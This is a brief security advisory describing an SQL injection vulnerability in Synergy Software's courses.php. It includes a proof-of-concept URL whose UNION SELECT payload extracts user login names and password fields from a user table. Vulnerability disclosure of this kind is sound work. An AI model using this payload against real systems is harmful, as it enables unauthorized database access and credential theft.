source: https://www.securityfocus.com/bid/48835/info
Synergy Software is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
http://www.example.com/courses.php?id=-1 union select null,user_loginname_vc,null,null,null,user_pass_vc,null,null,null,null from user_m